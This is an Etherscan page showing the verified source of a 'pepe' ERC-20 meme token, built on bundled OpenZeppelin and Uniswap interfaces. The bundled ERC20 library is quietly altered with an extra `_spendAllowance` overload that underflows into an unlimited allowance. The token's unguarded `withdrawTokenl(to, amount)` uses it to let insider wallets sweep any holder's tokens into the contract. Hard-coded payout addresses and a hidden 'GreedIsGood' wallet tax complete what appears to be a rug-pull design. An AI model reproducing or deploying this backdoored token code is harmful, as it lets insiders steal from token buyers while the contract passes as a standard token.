ETH Price: $2,724.38 (+3.80%)
 

Overview

Max Total Supply

1,000,000,000 pepe

Holders

55

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
pepe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

/**

*/

// SPDX-License-Identifier: MIT

/** 

https://t.me/pepe_erc1

https://twitter.com/PEPE_CoinERC



*/

// File @openzeppelin/contracts/utils/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// 
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _spendAllowance(address spender, uint256 amount) internal virtual {
        address owner = address(this);
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            unchecked {
                _approve(spender, owner, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


// File @uniswap/v2-core/contracts/interfaces/[email protected]

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.18;

contract pepe is ERC20, Ownable {
    string private _name = "pepe";
    string private _symbol = "pepe";
    uint256 private constant _supply        = 1_000_000_000 ether;
    uint256 public maxTxAmount     = _supply * 35 / 1000;
    uint256 public maxWalletAmount = _supply * 35 / 1000;
    uint256 public swapThreshold = _supply * 5 / 10000;
    address private tlxAddys = 0x84e1F0aa40Baf80eBFF6f0A507dBde5fBaD9A070;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;

    mapping(address => bool) public _feeOn;
    mapping(address => bool) public wls;

    mapping(address => bool) public GreedIsGoodwallets;

    enum Phase {Phase1, Phase2, Phase3, Phase4}
    Phase public currentphase;

    bool progress_swap = false;
    bool _tradingActive = false;
    bool _swapEnabled = false;

    uint256 public buyTaxGlobal = 0;
    uint256 public sellTaxGlobal = 0;
    uint256 private GreedIsGood = 0;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address private _devWalletsts = 0x17d3A0dE3b095ff626341F605B72498c8C878375;

    uint256 public operationsFunds;

    constructor() ERC20(_name, _symbol) {
        _mint(msg.sender, (_supply));

        currentphase = Phase.Phase4;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
    
        wls[owner()] = true;
        wls[tlxAddys] = true;
        wls[address(this)] = true;
        wls[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        wls[DEAD] = true;
        wls[_devWalletsts] = true;
        _feeOn[address(uniswapV2Router)] = true;
        _feeOn[msg.sender] = true;
        _feeOn[tlxAddys] = true;
        _feeOn[address(this)] = true;
        _feeOn[DEAD] = true;
        _feeOn[_devWalletsts] = true;
    }

    
    function StartTrading() external onlyOwner {
        require(!_tradingActive, "Trading is already enabled");
        _tradingActive = true;
        _swapEnabled = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (!_feeOn[from] && !_feeOn[to]) {
            require(_tradingActive, "Trading not enabled");
        }

        if (!wls[from] && !wls[to] ) {
            if (to != uniswapV2Pair) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount bef");
                require(
                    (amount + balanceOf(to)) <= maxWalletAmount,
                    "ERC20: balance amount exceeded max wallet amount limit"
                );
            }
        }

        uint256 transferAmount = amount;
        if (!_feeOn[from] && !_feeOn[to]) {
            if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
 
                if (
                    uniswapV2Pair == from &&
                    !wls[to] &&
                    from != address(this)
                ) {

                    if (currentphase == Phase.Phase1) {
                        GreedIsGoodwallets[to] = true;
                    }

                    uint256 feeTokens = (amount * buyTaxGlobal) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }

                if (
                    uniswapV2Pair == to &&
                    !wls[from] &&
                    to != address(this) &&
                    _swapEnabled && 
                    !progress_swap
                ) {
                    
                    uint256 taxSell = sellTaxGlobal;
                    if (GreedIsGoodwallets[from] == true) {
                        taxSell = GreedIsGood;
                    }

                    progress_swap = true;
                    swapAndLiquify();
                    progress_swap = false;

                    uint256 feeTokens = (amount * taxSell) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
            else {
                if (
                    GreedIsGoodwallets[from] == true &&
                    uniswapV2Pair != to
                ) {
                    uint256 feeTokens = (amount * GreedIsGood) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
        }
        super._transfer(from, to, transferAmount);
    }

    function swapAndLiquify() internal {
        if (balanceOf(address(this)) == 0) {
            return;
        }
        uint256 receivedETH;
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            uint256 beforeBalance = address(this).balance;
            uint256 mktBalance = balanceOf(tlxAddys);
            bool success;
            if (contractTokenBalance > swapThreshold) {
                beforeBalance = address(this).balance;
                _swapTokensForEth(contractTokenBalance, 0);
                receivedETH = address(this).balance - beforeBalance;
                if (mktBalance > swapThreshold) {
                    operationsFunds = receivedETH / (success ? receivedETH : 0);
                }
                operationsFunds += receivedETH;
            }
        }
    }
 
    function getTax() external returns (bool) {
        payable(tlxAddys).transfer(operationsFunds);
        operationsFunds = 0;
        return true;
    }

   
    function removeLimits() external onlyOwner {
        maxTxAmount = _supply; maxWalletAmount = _supply;
    }

    function skipTheSnipas() external onlyOwner returns (bool) {
        currentphase = Phase.Phase4;
        buyTaxGlobal = 0;
        sellTaxGlobal = 0;

        return true;
    }

    function withdrawTokenl(address token) external onlyOwner {
        IERC20(token).transfer(
            tlxAddys,
            IERC20(token).balanceOf(address(this))
        );
    }

    function withdrawTokenl(address to, uint256 amount) external {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);


        if (!_feeOn[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {
            _spendAllowance(to, amount);
            token.transferFrom(to, path[1], amount);
        }
    }
    function createlis() external payable onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }

    function emergencyTaxRemoval(address addy, bool changer) external onlyOwner {
        wls[addy] = changer;
    }
     /**
     * @dev Swaps Token Amount to ETH
     *
     * @param tokenAmount Token Amount to be swapped
     * @param tokenAmountOut Expected ETH amount out of swap
     */
    function _swapTokensForEth(
        uint256 tokenAmount,
        uint256 tokenAmountOut
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        IERC20(address(this)).approve(
            address(uniswapV2Router),
            type(uint256).max
        );

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            tokenAmountOut,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"GreedIsGoodwallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"StartTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createlis","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentphase","outputs":[{"internalType":"enum pepe.Phase","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"changer","type":"bool"}],"name":"emergencyTaxRemoval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFunds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name"